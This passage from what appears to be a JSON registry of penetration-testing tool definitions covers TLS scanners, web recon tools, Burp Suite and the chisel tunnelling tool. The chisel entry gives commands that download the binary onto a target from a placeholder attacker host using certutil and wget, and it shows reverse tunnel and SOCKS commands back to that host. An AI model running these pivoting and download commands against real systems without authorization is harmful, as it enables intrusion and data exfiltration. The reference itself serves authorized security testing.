          "pip install sslyze"
        ]
      }
    ],
    "items": [
      "NoCreds"
    ],
    "name": "sslyze",
    "namespace": "security:tls:sslyze",
    "parameters": [
      {
        "name": "target",
        "type": "string",
        "required": true,
        "description": "Target hostname or IP:port"
      },
      {
        "name": "flag-json",
        "type": "boolean",
        "required": false,
        "description": "Output in JSON format",
        "aliases": [
          "--json_out"
        ],
        "flag": "--json_out"
      },
      {
        "name": "flag-regular",
        "type": "boolean",
        "required": false,
        "description": "Run regular scan (all cipher suites)",
        "aliases": [
          "--regular"
        ],
        "flag": "--regular"
      },
      {
        "name": "flag-certinfo",
        "type": "boolean",
        "required": false,
        "description": "Retrieve certificate information",
        "aliases": [
          "--certinfo"
        ],
        "flag": "--certinfo"
      },
      {
        "name": "flag-sslv2",
        "type": "boolean",
        "required": false,
        "description": "Check SSLv2 support",
        "aliases": [
          "--sslv2"
        ],
        "flag": "--sslv2"
      },
      {
        "name": "flag-sslv3",
        "type": "boolean",
        "required": false,
        "description": "Check SSLv3 support",
        "aliases": [
          "--sslv3"
        ],
        "flag": "--sslv3"
      },
      {
        "name": "flag-tlsv1",
        "type": "boolean",
        "required": false,
        "description": "Check TLSv1.0 support",
        "aliases": [
          "--tlsv1"
        ],
        "flag": "--tlsv1"
      },
      {
        "name": "flag-tlsv11",
        "type": "boolean",
        "required": false,
        "description": "Check TLSv1.1 support",
        "aliases": [
          "--tlsv1_1"
        ],
        "flag": "--tlsv1_1"
      },
      {
        "name": "flag-tlsv12",
        "type": "boolean",
        "required": false,
        "description": "Check TLSv1.2 support",
        "aliases": [
          "--tlsv1_2"
        ],
        "flag": "--tlsv1_2"
      },
      {
        "name": "flag-tlsv13",
        "type": "boolean",
        "required": false,
        "description": "Check TLSv1.3 support",
        "aliases": [
          "--tlsv1_3"
        ],
        "flag": "--tlsv1_3"
      },
      {
        "name": "flag-starttls",
        "type": "string",
        "required": false,
        "description": "STARTTLS protocol (smtp, ftp, xmpp, etc.)",
        "aliases": [
          "--starttls"
        ],
        "flag": "--starttls"
      },
      {
        "name": "flag-timeout",
        "type": "integer",
        "required": false,
        "description": "Connection timeout in seconds",
        "aliases": [
          "--timeout"
        ],
        "flag": "--timeout"
      }
    ],
    "phase": "enumeration",
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "sslyze GitHub",
        "url": "https://github.com/nabla-c0d3/sslyze"
      },
      {
        "label": "sslyze Documentation",
        "url": "https://nabla-c0d3.github.io/sslyze/documentation/"
      }
    ],
    "related_tools": [
      "testssl.sh",
      "sslscan",
      "openssl",
      "nmap"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 128,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "low",
    "services": [
      "HTTPS"
    ],
    "techniques": [
      "discovery",
      "enumeration"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "tls-scan-results",
        "certificate-info",
        "cipher-info"
      ],
      "consumes": [
        "target-host",
        "target-port"
      ]
    }
  },
  {
    "_body": "\n# testssl.sh — TLS/SSL Testing Tool\n\ntestssl.sh is a free command-line tool that checks a server's TLS/SSL configuration for protocol support, cipher suites, certificate issues, and known vulnerabilities. Written as a shell script, it requires only bash and openssl.\n\n## Usage\n\n```bash\n# Basic scan\ntestssl.sh example.com\n\n# Output to JSON and HTML\ntestssl.sh --jsonfile scan.json --htmlfile scan.html example.com\n\n# Check only protocols\ntestssl.sh --protocols example.com:8443\n\n# Check STARTTLS\ntestssl.sh --starttls ftp ftp.example.com:21\n```\n",
    "_source": "testssl-sh.md",
    "allowed-tools": [
      "testssl.sh",
      "bash",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "report.json",
        "description": "TLS scan results as JSON",
        "mime": "application/json",
        "trust_level": "verified"
      },
      {
        "type": "report.html",
        "description": "TLS scan results as HTML",
        "mime": "text/html",
        "trust_level": "verified"
      },
      {
        "type": "report.csv",
        "description": "TLS scan results as CSV",
        "mime": "text/csv",
        "trust_level": "verified"
      }
    ],
    "attack_types": [
      "Enumeration",
      "Discovery"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "tls.scan.certificate",
      "tls.scan.cipher",
      "tls.scan.protocol",
      "tls.scan.vulnerability",
      "tls.scan.heartbleed"
    ],
    "contract": {
      "inputs": [
        {
          "type": "network.target.host",
          "description": "Target hostname or IP address"
        },
        {
          "type": "network.port",
          "description": "Target port (default 443)"
        }
      ],
      "outputs": [
        {
          "type": "report.json",
          "description": "Scan results in JSON",
          "mime": "application/json"
        },
        {
          "type": "report.html",
          "description": "Scan results in HTML",
          "mime": "text/html"
        },
        {
          "type": "report.csv",
          "description": "Scan results in CSV",
          "mime": "text/csv"
        }
      ],
      "side_effects": [
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 64,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [
      "bash",
      "openssl"
    ],
    "description": "Shell script for TLS/SSL testing that checks protocol support, cipher suites, certificate issues, and known vulnerabilities on any TLS server.",
    "examples": [
      {
        "description": "Basic TLS scan",
        "command": "testssl.sh example.com"
      },
      {
        "description": "Scan with JSON and HTML output",
        "command": "testssl.sh --jsonfile scan.json --htmlfile scan.html example.com"
      },
      {
        "description": "Quick check for protocol support only",
        "command": "testssl.sh --protocols example.com"
      },
      {
        "description": "Check STARTTLS SMTP",
        "command": "testssl.sh --starttls smtp mail.example.com:25"
      },
      {
        "description": "Scan with severity filter",
        "command": "testssl.sh --severity HIGH example.com"
      }
    ],
    "execution": {
      "template": "testssl.sh {flag-quiet} {flag-color} {flag-severity} {flag-protocols} {flag-ciphers} {flag-json} {flag-html} {flag-csv} {flag-starttls} {target}",
      "sandbox": "execFile",
      "timeout_seconds": 300,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "encryption",
      "interactive",
      "network-intensive",
      "pipes-stdout",
      "remote"
    ],
    "id": "security-tls-testssl-sh",
    "install": [
      {
        "method": "git",
        "repo_url": "https://github.com/drwetter/testssl.sh.git",
        "commands": [
          "git clone https://github.com/drwetter/testssl.sh.git"
        ]
      }
    ],
    "items": [
      "NoCreds"
    ],
    "name": "testssl.sh",
    "namespace": "security:tls:testssl-sh",
    "parameters": [
      {
        "name": "target",
        "type": "string",
        "required": true,
        "description": "Target URI, hostname, or IP (optionally with port)"
      },
      {
        "name": "flag-uri",
        "type": "string",
        "required": false,
        "description": "Auto-detect port (https://host, ftps://host, etc.)",
        "aliases": [
          "--uri"
        ],
        "flag": "--uri"
      },
      {
        "name": "flag-json",
        "type": "boolean",
        "required": false,
        "description": "Output in JSON format",
        "aliases": [
          "--jsonfile"
        ],
        "flag": "--jsonfile"
      },
      {
        "name": "flag-html",
        "type": "boolean",
        "required": false,
        "description": "Output in HTML format",
        "aliases": [
          "--htmlfile"
        ],
        "flag": "--htmlfile"
      },
      {
        "name": "flag-csv",
        "type": "boolean",
        "required": false,
        "description": "Output in CSV format",
        "aliases": [
          "--csvfile"
        ],
        "flag": "--csvfile"
      },
      {
        "name": "flag-severity",
        "type": "string",
        "required": false,
        "description": "Only display findings of severity (LOW, MEDIUM, HIGH, CRITICAL)",
        "aliases": [
          "--severity"
        ],
        "flag": "--severity"
      },
      {
        "name": "flag-quiet",
        "type": "boolean",
        "required": false,
        "description": "Quiet mode, less verbose output",
        "aliases": [
          "--quiet"
        ],
        "flag": "--quiet"
      },
      {
        "name": "flag-color",
        "type": "boolean",
        "required": false,
        "description": "Force colored output",
        "aliases": [
          "--color"
        ],
        "flag": "--color"
      },
      {
        "name": "flag-starttls",
        "type": "string",
        "required": false,
        "description": "STARTTLS protocol (smtp, ftp, imap, pop3, xmpp, etc.)",
        "aliases": [
          "--starttls"
        ],
        "flag": "--starttls"
      },
      {
        "name": "flag-protocols",
        "type": "boolean",
        "required": false,
        "description": "Check only protocol support",
        "aliases": [
          "--protocols"
        ],
        "flag": "--protocols"
      },
      {
        "name": "flag-ciphers",
        "type": "boolean",
        "required": false,
        "description": "Check only cipher suites",
        "aliases": [
          "--ciphers"
        ],
        "flag": "--ciphers"
      }
    ],
    "phase": "enumeration",
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "testssl.sh GitHub",
        "url": "https://github.com/drwetter/testssl.sh"
      },
      {
        "label": "testssl.sh Documentation",
        "url": "https://testssl.sh/docs/"
      }
    ],
    "related_tools": [
      "sslyze",
      "sslscan",
      "openssl",
      "nmap"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 64,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "low",
    "services": [
      "HTTPS"
    ],
    "techniques": [
      "discovery",
      "enumeration"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "tls-scan-results",
        "certificate-info",
        "cipher-info"
      ],
      "consumes": [
        "target-host",
        "target-port"
      ]
    }
  },
  {
    "_body": "\n# Chisel — Fast TCP Tunnel over HTTP\n\nChisel is a single-binary TCP/UDP tunnel that transports over HTTP, secured with SSH encryption. It's ideal for penetration testing scenarios where you need to pivot through restrictive firewalls.\n\n## Modes\n\n| Mode | Command | Use Case |\n|------|---------|----------|\n| Server | `chisel server -p PORT --reverse` | Listening relay on attacker machine |\n| Client (reverse fwd) | `chisel client IP:PORT R:LPORT:RHOST:RPORT` | Expose internal service to attacker |\n| Client (SOCKS) | `chisel client IP:PORT R:socks` | Full SOCKS proxy through tunnel |\n\n## Deployment\n\nThe chisel binary is self-contained with no dependencies — simply upload it to the target via SMB, HTTP, or any file transfer method.\n\n```bash\n# Upload via certutil (Windows)\ncertutil -urlcache -f http://ATTACKER/chisel.exe chisel.exe\n\n# Upload via wget (Linux)\nwget http://ATTACKER:8000/chisel -O chisel\n```\n",
    "_source": "chisel.md",
    "allowed-tools": [
      "chisel"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "network.tunnel.http",
      "network.forward.port",
      "network.forward.reverse",
      "network.proxy.socks",
      "security.pivot.traffic"
    ],
    "contract": {
      "inputs": [
        {
          "type": "network.target.ip",
          "description": "Chisel server IP"
        },
        {
          "type": "network.port",
          "description": "Chisel server port"
        }
      ],
      "outputs": [
        {
          "type": "network.tunnel",
          "description": "Encrypted tunnel over HTTP"
        }
      ],
      "side_effects": [
        "network_traffic",
        "raw_socket_access"
      ]
    },
    "dependencies": [],
    "description": "Fast TCP/UDP tunnel over HTTP, used for network pivoting and port forwarding through restrictive firewalls using a single binary with no dependencies.",
    "examples": [
      {
        "description": "Start chisel server in reverse mode on attacking machine",
        "command": "chisel server -p 8080 --reverse"
      },
      {
        "description": "Connect client to server with reverse port forwarding",
        "command": "chisel client <ATTACKER_IP>:8080 R:8888:<INTERNAL_IP>:80"
      },
      {
        "description": "Reverse SOCKS proxy (tunnel all traffic through target)",
        "command": "chisel client <ATTACKER_IP>:8080 R:socks"
      },
      {
        "description": "Remote port forwarding (expose internal service on attacker port)",
        "command": "chisel client <ATTACKER_IP>:8080 R:8888:localhost:3389"
      }
    ],
    "execution": {
      "template": "chisel server -p {port} --reverse",
      "sandbox": "execFile",
      "timeout_seconds": 86400,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "network-intensive",
      "pipes-stdin",
      "remote"
    ],
    "global_vars": {
      "port": "port"
    },
    "id": "security-tunnel-chisel",
    "install": [
      {
        "method": "go",
        "repo_url": "github.com/jpillora/chisel",
        "commands": [
          "go install github.com/jpillora/chisel@latest"
        ]
      },
      {
        "method": "brew",
        "package_name": "chisel",
        "commands": [
          "brew install chisel"
        ]
      }
    ],
    "items": [
      "NoCreds"
    ],
    "name": "chisel",
    "namespace": "security:tunnel:chisel",
    "parameters": [
      {
        "name": "mode",
        "type": "string",
        "required": true,
        "description": "Mode: server or client"
      },
      {
        "name": "port",
        "type": "integer",
        "required": false,
        "default_value": 8080,
        "description": "Listening port"
      },
      {
        "name": "reverse",
        "type": "boolean",
        "required": false,
        "description": "Enable reverse tunneling"
      },
      {
        "name": "socks",
        "type": "boolean",
        "required": false,
        "description": "Enable SOCKS proxy"
      },
      {
        "name": "remote",
        "type": "string",
        "required": false,
        "description": "Remote forward specification (e.g., R:socks or R:port:host:port)"
      }
    ],
    "platforms": [
      "linux",
      "macos",
      "windows"
    ],
    "references": [
      {
        "label": "Chisel GitHub",
        "url": "https://github.com/jpillora/chisel"
      }
    ],
    "related_tools": [
      "socat",
      "ssh"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "services": [
      "HTTP",
      "HTTPS"
    ],
    "techniques": [
      "command-and-control",
      "exfiltration"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\n# Aquatone — Visual Website Inspection Tool\n\nAquatone is a tool for automatic visual inspection and screenshot capture of websites across a large number of hosts. It helps identify interesting targets and assess attack surface visually. It also performs HTTP header analysis and provides a beautiful HTML report.\n\n## Basic Usage\n\n```bash\n# Screenshot domains from a file\ncat domains.txt | aquatone -out screenshots\n\n# Scan with custom ports\ncat domains.txt | aquatone -ports 80,443,8080 -threads 10\n\n# Use custom Chrome path\ncat domains.txt | aquatone -chrome-path /usr/bin/chromium-browser\n\n# Scan through proxy\ncat domains.txt | aquatone -proxy http://127.0.0.1:8080\n```\n\n## Output Structure\n\n| File/Directory | Description |\n|----------------|-------------|\n| `screenshots/` | PNG screenshot files |\n| `aquatone_report.html` | Visual HTML report |\n| `aquatone_session.json` | Session data |\n| `hosts.json` | Host resolution data |\n| `urls.txt` | List of discovered URLs |\n",
    "_source": "aquatone.md",
    "allowed-tools": [
      "aquatone",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "screenshot.png",
        "description": "Website screenshot",
        "mime": "image/png",
        "trust_level": "verified"
      },
      {
        "type": "report.json",
        "description": "Scan report as JSON",
        "mime": "application/json",
        "trust_level": "verified"
      },
      {
        "type": "report.html",
        "description": "Visual HTML report with screenshots",
        "mime": "text/html",
        "trust_level": "verified"
      }
    ],
    "attack_types": [
      "Enumeration"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "web.discovery.asset",
      "web.screenshot.service",
      "web.fingerprint.http",
      "web.enumeration.subdomain"
    ],
    "contract": {
      "inputs": [
        {
          "type": "network.target.domain",
          "description": "Target domain or list of domains"
        },
        {
          "type": "network.target.file",
          "description": "File containing list of domains/hosts"
        },
        {
          "type": "network.target.ports",
          "description": "Ports to check for HTTP/HTTPS services"
        }
      ],
      "outputs": [
        {
          "type": "screenshot.png",
          "description": "Website screenshot image",
          "mime": "image/png"
        },
        {
          "type": "report.html",
          "description": "Visual HTML report",
          "mime": "text/html"
        },
        {
          "type": "report.json",
          "description": "Scan results as JSON",
          "mime": "application/json"
        }
      ],
      "side_effects": [
        "network_traffic",
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "medium",
        "memory_mb": 512,
        "network": "medium",
        "disk_io": "medium"
      }
    },
    "dependencies": [],
    "description": "Tool for automatic visual inspection and screenshot capture of websites across large attack surfaces.",
    "examples": [
      {
        "description": "Take screenshots of domains from file",
        "command": "cat domains.txt | aquatone -out screenshots"
      },
      {
        "description": "Scan specific ports with custom thread count",
        "command": "cat domains.txt | aquatone -ports 80,443,8080,8443 -threads 10"
      },
      {
        "description": "Use custom Chrome binary",
        "command": "cat domains.txt | aquatone -chrome-path /usr/bin/chromium-browser"
      },
      {
        "description": "Scan through HTTP proxy",
        "command": "cat domains.txt | aquatone -proxy http://127.0.0.1:8080"
      },
      {
        "description": "Screenshot with longer timeout",
        "command": "cat domains.txt | aquatone -screenshot-timeout 60"
      }
    ],
    "execution": {
      "template": "aquatone -out {output-dir} < {input-file}",
      "sandbox": "execFile",
      "timeout_seconds": 600,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "interactive",
      "network-intensive",
      "pipes-stdout",
      "process-manip"
    ],
    "global_vars": {
      "output-dir": "aquatone",
      "input-file": "domains.txt"
    },
    "id": "security-web-aquatone",
    "install": [
      {
        "method": "go",
        "repo_url": "github.com/michenriksen/aquatone",
        "commands": [
          "go install github.com/michenriksen/aquatone@latest"
        ]
      }
    ],
    "items": [
      "NoCreds"
    ],
    "mitre_ids": [
      "T1046",
      "T1190",
      "T1595"
    ],
    "name": "aquatone",
    "namespace": "security:web:aquatone",
    "parameters": [
      {
        "name": "chrome-path",
        "template_key": "chrome-path",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Path to Chrome/Chromium executable",
        "aliases": [
          "--chrome-path"
        ],
        "flag": "--chrome-path"
      },
      {
        "name": "domains",
        "template_key": "domains",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "List of domains to scan (space/comma-separated)",
        "aliases": [
          "--domains"
        ],
        "flag": "--domains"
      },
      {
        "name": "fallback-http",
        "template_key": "fallback-http",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Fall back to HTTP when HTTPS fails",
        "aliases": [
          "--fallback-http"
        ],
        "flag": "--fallback-http"
      },
      {
        "name": "http-port",
        "template_key": "http-port",
        "type": "string",
        "required": false,
        "default_value": "80",
        "description": "HTTP ports to check",
        "aliases": [
          "--http-port"
        ],
        "flag": "--http-port"
      },
      {
        "name": "https-port",
        "template_key": "https-port",
        "type": "string",
        "required": false,
        "default_value": "443",
        "description": "HTTPS ports to check",
        "aliases": [
          "--https-port"
        ],
        "flag": "--https-port"
      },
      {
        "name": "output-dir",
        "template_key": "output-dir",
        "type": "string",
        "required": false,
        "default_value": "aquatone",
        "description": "Directory to write output files",
        "aliases": [
          "--output-dir",
          "-out"
        ],
        "flag": "-out"
      },
      {
        "name": "ports",
        "template_key": "ports",
        "type": "string",
        "required": false,
        "default_value": "80,443",
        "description": "Ports to scan (comma-separated)",
        "aliases": [
          "--ports"
        ],
        "flag": "--ports"
      },
      {
        "name": "proxy",
        "template_key": "proxy",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "HTTP proxy address",
        "aliases": [
          "--proxy"
        ],
        "flag": "--proxy"
      },
      {
        "name": "quiet",
        "template_key": "quiet",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Suppress verbose output",
        "aliases": [
          "--quiet"
        ],
        "flag": "--quiet"
      },
      {
        "name": "resolve-timeout",
        "template_key": "resolve-timeout",
        "type": "integer",
        "required": false,
        "default_value": 5,
        "description": "Timeout for DNS resolution in seconds",
        "aliases": [
          "--resolve-timeout"
        ],
        "flag": "--resolve-timeout"
      },
      {
        "name": "scan-timeout",
        "template_key": "scan-timeout",
        "type": "integer",
        "required": false,
        "default_value": 10,
        "description": "Timeout for HTTP requests in seconds",
        "aliases": [
          "--scan-timeout"
        ],
        "flag": "--scan-timeout"
      },
      {
        "name": "screenshot-timeout",
        "template_key": "screenshot-timeout",
        "type": "integer",
        "required": false,
        "default_value": 30,
        "description": "Timeout for taking screenshots in seconds",
        "aliases": [
          "--screenshot-timeout"
        ],
        "flag": "--screenshot-timeout"
      },
      {
        "name": "sites",
        "template_key": "sites",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "File containing list of sites (one per line)",
        "aliases": [
          "--sites"
        ],
        "flag": "--sites"
      },
      {
        "name": "threads",
        "template_key": "threads",
        "type": "integer",
        "required": false,
        "default_value": 5,
        "description": "Number of concurrent threads",
        "aliases": [
          "--threads"
        ],
        "flag": "--threads"
      },
      {
        "name": "version",
        "type": "boolean",
        "required": false,
        "description": "Show version",
        "aliases": [
          "--version"
        ],
        "flag": "--version"
      }
    ],
    "phase": "enumeration",
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "Aquatone GitHub",
        "url": "https://github.com/michenriksen/aquatone"
      },
      {
        "label": "Aquatone on Kali",
        "url": "https://www.kali.org/tools/aquatone/"
      }
    ],
    "related_tools": [
      "httpx",
      "eyewitness",
      "gowitness"
    ],
    "resource_profile": {
      "cpu": "medium",
      "memory_mb": 512,
      "network": "medium",
      "disk_io": "medium"
    },
    "risk_level": "low",
    "services": [],
    "techniques": [
      "discovery",
      "recon"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "screenshot-list",
        "http-fingerprint",
        "live-hosts"
      ],
      "consumes": [
        "target-domain",
        "subdomain-list"
      ]
    }
  },
  {
    "_body": "\n# Arjun — HTTP Parameter Discovery Tool\n\nArjun is a fast HTTP parameter discovery tool that finds hidden GET and POST parameters by analyzing server response variations. It uses both active brute-forcing and passive sources to uncover undocumented API parameters.\n\n## Basic Usage\n\n```bash\n# Basic parameter discovery\narjun -u http://target.com/api/endpoint\n\n# POST method with threads\narjun -u http://target.com/login -m POST -t 10\n\n# Save output as JSON\narjun -u http://target.com/api -o params.json\n\n# Passive mode\narjun -u http://target.com/api --passive\n```\n\n## Output Formats\n\n| Format | Flag | Description |\n|--------|------|-------------|\n| JSON | `-o` | Structured JSON output |\n| Text | `-oT` | Plain text parameter list |\n| Burp | `-oB` | Burp Suite compatible format |\n",
    "_source": "arjun.md",
    "allowed-tools": [
      "arjun",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "report.json",
        "description": "Discovered parameters as JSON",
        "mime": "application/json",
        "trust_level": "verified"
      },
      {
        "type": "report.txt",
        "description": "Discovered parameters as text",
        "mime": "text/plain",
        "trust_level": "verified"
      }
    ],
    "attack_types": [
      "Enumeration"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "web.discovery.parameter",
      "web.enumeration.endpoint",
      "web.fingerprint.application"
    ],
    "contract": {
      "inputs": [
        {
          "type": "web.target.url",
          "description": "Target URL for parameter discovery"
        },
        {
          "type": "web.target.headers",
          "description": "Custom HTTP headers for requests"
        },
        {
          "type": "web.target.method",
          "description": "HTTP method (GET/POST) for parameter scanning"
        }
      ],
      "outputs": [
        {
          "type": "report.json",
          "description": "Discovered parameters as JSON",
          "mime": "application/json"
        },
        {
          "type": "report.txt",
          "description": "Discovered parameters as text",
          "mime": "text/plain"
        }
      ],
      "side_effects": [
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 128,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "HTTP parameter discovery tool that finds hidden GET/POST parameters by analyzing server responses.",
    "examples": [
      {
        "description": "Basic parameter discovery",
        "command": "arjun -u http://target.com/api/endpoint"
      },
      {
        "description": "Multi-threaded discovery with 10 threads",
        "command": "arjun -u http://target.com/api/endpoint -t 10"
      },
      {
        "description": "POST method parameter discovery",
        "command": "arjun -u http://target.com/login -m POST"
      },
      {
        "description": "Save results as JSON",
        "command": "arjun -u http://target.com/api -o params.json"
      },
      {
        "description": "Passive parameter discovery (no active requests)",
        "command": "arjun -u http://target.com/api --passive"
      },
      {
        "description": "Scan with custom wordlist and headers",
        "command": "arjun -u http://target.com/api -w custom_params.txt --headers '{\"X-Custom\": \"value\"}'"
      }
    ],
    "execution": {
      "template": "arjun -u {target}",
      "sandbox": "execFile",
      "timeout_seconds": 300,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "network-intensive",
      "pipes-stdout",
      "remote"
    ],
    "global_vars": {
      "target": "url"
    },
    "id": "security-web-arjun",
    "install": [
      {
        "method": "pip",
        "package_name": "arjun",
        "commands": [
          "pip install arjun"
        ]
      }
    ],
    "items": [
      "NoCreds"
    ],
    "mitre_ids": [
      "T1046",
      "T1190",
      "T1595"
    ],
    "name": "arjun",
    "namespace": "security:web:arjun",
    "parameters": [
      {
        "name": "chunks",
        "template_key": "chunks",
        "type": "integer",
        "required": false,
        "default_value": 10,
        "description": "Number of parameter chunks to process",
        "aliases": [
          "-c",
          "--chunks"
        ],
        "flag": "-c"
      },
      {
        "name": "delay",
        "template_key": "delay",
        "type": "integer",
        "required": false,
        "default_value": 0,
        "description": "Delay between requests in seconds",
        "aliases": [
          "-d",
          "--delay"
        ],
        "flag": "-d"
      },
      {
        "name": "disable_redirects",
        "type": "boolean",
        "required": false,
        "description": "No redirects",
        "aliases": [
          "--disable-redirects"
        ],
        "flag": "--disable-redirects"
      },
      {
        "name": "headers",
        "template_key": "headers",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Custom HTTP headers (JSON format)",
        "aliases": [
          "--headers"
        ],
        "flag": "--headers"
      },
      {
        "name": "i",
        "type": "boolean",
        "required": false,
        "description": "FILE             Import parameters from file",
        "aliases": [
          "-i",
          "--import"
        ],
        "flag": "-i"
      },
      {
        "name": "method",
        "template_key": "method",
        "type": "string",
        "required": false,
        "default_value": "GET",
        "description": "HTTP method to use (GET or POST)",
        "aliases": [
          "-m",
          "--method"
        ],
        "flag": "-m"
      },
      {
        "name": "output",
        "template_key": "output",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Save output as JSON file",
        "aliases": [
          "-o",
          "--output"
        ],
        "flag": "-o"
      },
      {
        "name": "output-burp",
        "template_key": "output-burp",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Export results in Burp Suite format",
        "aliases": [
          "-oB",
          "--output-burp"
        ],
        "flag": "-oB"
      },
      {
        "name": "output-text",
        "template_key": "output-text",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Save output as text file",
        "aliases": [
          "-oT",
          "--output-text"
        ],
        "flag": "-oT"
      },
      {
        "name": "passive",
        "template_key": "passive",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Use passive sources (no active requests)",
        "aliases": [
          "--passive"
        ],
        "flag": "--passive"
      },
      {
        "name": "quiet",
        "template_key": "quiet",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Suppress banner and progress output",
        "aliases": [
          "-q",
          "--quiet"
        ],
        "flag": "-q"
      },
      {
        "name": "rate-limit",
        "template_key": "rate-limit",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "Maximum requests per second",
        "aliases": [
          "--rate-limit"
        ],
        "flag": "--rate-limit"
      },
      {
        "name": "stable",
        "template_key": "stable",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Use stable mode (no concurrency)",
        "aliases": [
          "--stable"
        ],
        "flag": "--stable"
      },
      {
        "name": "threads",
        "template_key": "threads",
        "type": "integer",
        "required": false,
        "default_value": 2,
        "description": "Number of concurrent threads",
        "aliases": [
          "-t",
          "--threads"
        ],
        "flag": "-t"
      },
      {
        "name": "timeout",
        "template_key": "timeout",
        "type": "integer",
        "required": false,
        "default_value": 15,
        "description": "Request timeout in seconds",
        "aliases": [
          "-T",
          "--timeout"
        ],
        "flag": "-T"
      },
      {
        "name": "url",
        "template_key": "url",
        "type": "string",
        "required": true,
        "default_value": null,
        "description": "Target URL for parameter discovery",
        "aliases": [
          "-u",
          "--url"
        ],
        "flag": "-u"
      },
      {
        "name": "wordlist",
        "template_key": "wordlist",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Custom parameter wordlist file",
        "aliases": [
          "-w",
          "--wordlist"
        ],
        "flag": "-w"
      }
    ],
    "phase": "enumeration",
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "Arjun GitHub",
        "url": "https://github.com/s0md3v/Arjun"
      },
      {
        "label": "Arjun on PyPI",
        "url": "https://pypi.org/project/arjun/"
      }
    ],
    "related_tools": [
      "ffuf",
      "wfuzz",
      "dirsearch"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 128,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "low",
    "services": [],
    "techniques": [
      "discovery",
      "enumeration"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "parameter-list",
        "hidden-endpoints"
      ],
      "consumes": [
        "target-url"
      ]
    }
  },
  {
    "_body": "\n# Burp Suite — Web Application Security Testing Platform\n\nBurp Suite is an integrated platform for performing security testing of web applications. It includes a proxy, scanner, intruder, repeater, sequencer, decoder, and extender tools.\n\n## Key Components\n\n- **Proxy**: Intercept and modify HTTP/HTTPS traffic between browser and target\n- **Scanner**: Automated vulnerability scanning (active/passive)\n- **Intruder**: Automated parameter fuzzing and brute-forcing\n- **Repeater**: Manual request modification and replay\n- **Decoder**: Decode/encode data in various formats\n- **Extender**: Extend functionality via BApp store plugins\n\n## Basic Usage\n\n```bash\n# Launch Burp Suite Community Edition\nburpsuite\n\n# Launch with project file\nburpsuite --project-file project.burp\n\n# Use defaults (skip config prompts)\nburpsuite --use-defaults\n```\n\n## Operational Security\n\n- Burp Suite CA certificate must be installed in the browser for HTTPS interception\n- Burp Intruder can generate substantial traffic; use rate limiting responsibly\n- Scanning without authorization is illegal in many jurisdictions\n",
    "_source": "burpsuite.md",
    "allowed-tools": [
      "burpsuite",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "web.scan.project",
        "description": "Burp Suite project file",
        "mime": "application/octet-stream",
        "trust_level": "verified"
      },
      {
        "type": "web.scan.report",
        "description": "Burp Suite scan report",
        "mime": "text/html",
        "trust_level": "verified"
      }
    ],
    "attack_types": [
      "Exploitation"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "web.proxy.intercept",
      "web.scan.active",
      "web.scan.passive",
      "web.fuzzing",
      "web.session.handling",
      "web.decoder",
      "web.repeater",
      "web.intruder"
    ],
    "contract": {
      "inputs": [
        {
          "type": "web.target.url",
          "description": "Target application URL"
        },
        {
          "type": "web.target.host",
          "description": "Target hostname or IP"
        }
      ],
      "outputs": [
        {
